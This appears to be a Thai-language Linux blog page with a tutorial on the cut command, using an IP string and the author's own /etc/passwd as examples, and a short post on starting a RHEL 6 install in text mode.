cut -c 1-3 <<< "192.168.11.12"
หรือ
cut -c -3 <<< "192.168.11.12"
ผลลัพธ์
192
โดยการกำหนด -c คือการกำหนดการแสดงผลตัวอักษรลำดับที่ที่ต้อง ดังตามตัวอย่างคือ ตัวอักษรที่ 1 ถึงตัวอักษรที่ 3 และอีกตัวอย่างคือ ตั้งแต่ตัวอักษรแรกไปถึงตัวอักษรที่ 3
- ต้องการแสดงผลตั้งแต่ตัวอักษรตั้งแต่ตัวที่ 4 ไปถึงตัวสุดท้ายของแถว
cut -c 4- <<< "192.168.11.12"
ผลลัพธ์
.168.11.12
- ต้องการแสดงแบ่งข้อมูล IP ดังกล่าวให้อยู่ในรูปแบบของ A.B.C.D แล้วต้องการแสดงผลแค่ A.B.C
cut -d"." -f 1,2,3 <<< "192.168.11.12"
หรือ
cut -d"." -f 1-3 <<< "192.168.11.12"
ผลลัพธ์
192.168.11
โดยการกำหนด -d เพื่อเป็นการบอกว่าจะใช้อะไรเป็นจุดแบ่งส่วนของข้อมูล อย่างในตัวอย่างคือใช้จุด "." เป็นตัวแบ่งหมายเลข IP ออกเป็น 4 ชุด แล้วนำมาแสดงผลแค่ชุดที่ 1 - 3 เป็นต้น
ตัวอย่างอื่นๆ
ข้อมูลตั้งต้น
komkit@Server:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
ต้องการแสดงผลชื่อ Username เท่านั้น โดยจะให้เครื่องหมาย : เป็นตัวแบ่งฟิวต่างๆออกจากกัน
komkit@Server:~$ cut -d":" -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
ต้องการแสดงผลชื่อ Username และ Default shell ของแต่ละ username
komkit@Server:~$ cut -d":" -f 1,7 /etc/passwd
root:/bin/bash
daemon:/bin/sh
bin:/bin/sh
sys:/bin/sh
sync:/bin/sync
games:/bin/sh
192.168.11.12
- ต้องการแสดงผลเฉพาะ 3 ตัวอักษรแรก
cut -c 1-3 <<< "192.168.11.12"
หรือ
cut -c -3 <<< "192.168.11.12"
ผลลัพธ์
192
โดยการกำหนด -c คือการกำหนดการแสดงผลตัวอักษรลำดับที่ที่ต้อง ดังตามตัวอย่างคือ ตัวอักษรที่ 1 ถึงตัวอักษรที่ 3 และอีกตัวอย่างคือ ตั้งแต่ตัวอักษรแรกไปถึงตัวอักษรที่ 3
- ต้องการแสดงผลตั้งแต่ตัวอักษรตั้งแต่ตัวที่ 4 ไปถึงตัวสุดท้ายของแถว
cut -c 4- <<< "192.168.11.12"
ผลลัพธ์
.168.11.12
- ต้องการแสดงแบ่งข้อมูล IP ดังกล่าวให้อยู่ในรูปแบบของ A.B.C.D แล้วต้องการแสดงผลแค่ A.B.C
cut -d"." -f 1,2,3 <<< "192.168.11.12"
หรือ
cut -d"." -f 1-3 <<< "192.168.11.12"
ผลลัพธ์
192.168.11
โดยการกำหนด -d เพื่อเป็นการบอกว่าจะใช้อะไรเป็นจุดแบ่งส่วนของข้อมูล อย่างในตัวอย่างคือใช้จุด "." เป็นตัวแบ่งหมายเลข IP ออกเป็น 4 ชุด แล้วนำมาแสดงผลแค่ชุดที่ 1 - 3 เป็นต้น
ตัวอย่างอื่นๆ
ข้อมูลตั้งต้น
komkit@Server:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
ต้องการแสดงผลชื่อ Username เท่านั้น โดยจะให้เครื่องหมาย : เป็นตัวแบ่งฟิวต่างๆออกจากกัน
komkit@Server:~$ cut -d":" -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
ต้องการแสดงผลชื่อ Username และ Default shell ของแต่ละ username
komkit@Server:~$ cut -d":" -f 1,7 /etc/passwd
root:/bin/bash
daemon:/bin/sh
bin:/bin/sh
sys:/bin/sh
sync:/bin/sync
games:/bin/sh
วันอาทิตย์ที่ 16 มกราคม พ.ศ. 2554
Linux, RHEL : ติดตั้ง RHEL 6 แบบ Text mode
ปกติ RHEL ใน Version ที่ผ่านมา จะให้พิมพ์ linux text ที่ Prompt
แต่ใน Version 6 นี้ ไม่มี prompt ให้ ดังนั้นการติดตั้งแบบ text mode จึงมีวิธีการเปลี่ยนไปนิดหน่อย ดังนี้
ทำการ boot จาก DVD ตามปกติ
ที่หน้าจอต้อนรับ จะมีเมนูการติดตั้งอยู่ 2 ตัว คือ
Install or upgrade an existing system
และ
Install system with basic videon driver
และ แต่ละอันจะสามารถกด TAB เพื่อเพิ่ม option การ boot ดังนั้น เพื่อให้ทำการติดตั้งแบบ text mode ก็ให้ทำการเพิ่มคำว่า text เข้าไปข้างหลังของ Option ของแต่ละเมนู ดังนี้
เลือก
Install or upgrade an existing system <-- กด TAB
vmlinuz initrd=initrd.img text <-- เพิ่ม text แล้ว enter
หรือ
เลือก
Install system with basic videon driver <-- กด TAB
vmlinuz initrd=initrd.img xdriver=vesa nomodeset text <-- เพิ่ม text แล้ว enter
ข้อแตกต่าง
เมนูแรกเป็นการติดตั้งแบบความละเอียดสูง แม้แต่ใน Text mode
ส่วนเมนูที่สองเป็นการติดตั้งแบบใช้ VGA driver แบบความละเอียดต่ำ (แนะนำ)
ข้อสังเกตุ
RHEL 6 แบบ Text mode นี้มันเลือก Package ในการติดตั้งยังไงหว่า หาไม่เจอ...
สมัครสมาชิก:
บทความ (Atom)